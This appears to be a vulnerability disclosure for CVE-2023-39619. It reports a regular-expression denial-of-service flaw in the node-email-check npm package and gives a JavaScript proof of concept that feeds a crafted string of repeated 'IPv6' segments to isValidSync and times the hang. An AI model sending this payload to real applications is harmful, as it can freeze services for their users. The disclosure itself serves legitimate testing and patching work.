CVE-2023-39619: Vulnerability inside the node-email-check npm package through version 1.0.4

The regex on line 10. inside https://github.com/teomantuncer/node-email-check/blob/main/main.js is vulnerable to a Regex Denial of Service

if a malicious string is provided causing the application using the package to hang.

Proof of concept code to test it:

const emailCheck = require(‘node-email-check’);

// async request with mx check

//await emailCheck.isValid(‘[email protected]’);

// sync request without mx check

console.time('[ + ] Time passed -> ');

//payload

var chck = emailCheck.isValidSync('-@{IPv6:5:3:2:3:227IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"IPv6"’);

//var chck = emailCheck.isValidSync(‘[email protected]’);

console.log(chck);

console.timeEnd('[ + ] Time passed -> ');